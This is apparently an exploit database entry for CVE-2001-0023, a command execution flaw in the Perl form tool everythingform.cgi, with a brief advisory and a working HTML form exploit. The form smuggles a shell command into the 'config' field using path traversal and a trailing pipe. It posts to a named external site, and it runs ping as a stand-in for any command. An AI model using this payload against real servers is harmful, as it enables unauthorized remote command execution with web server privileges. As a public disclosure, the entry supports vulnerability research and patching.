Leif M. Wright everythingform.cgi 2.0 - Arbitrary Command Execution

Author: rpc
type: remote
platform: cgi
port: 
date_added: 2000-12-11 
date_updated: 2012-08-14 
verified: 1 
codes: CVE-2001-0023;OSVDB-13121 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/2101/info

An input validation vulnerability exists in Leif M. Wright's everything.cgi, a Perl-based form design tool.

The script fails to properly filter shell commands from user-supplied input to the 'config' field.

As a result, the script can be made to run arbitrary shell commands with the privilege of the web server.

<form action="http://www.conservatives.net/someplace/everythingform.cgi"
method=POST>
<h1>everythingform.cgi exploit</h1>
Command: <input type=text name=config value="../../../../../../../../bin/ping
-c 5 www.foobar.com|">
<input type=hidden name=Name value="expletive deleted">
<input type=hidden name="e-mail" value="foo@bar.net">
<input type=hidden name=FavoriteColor value=Black>
<input type=submit value=run>
</form>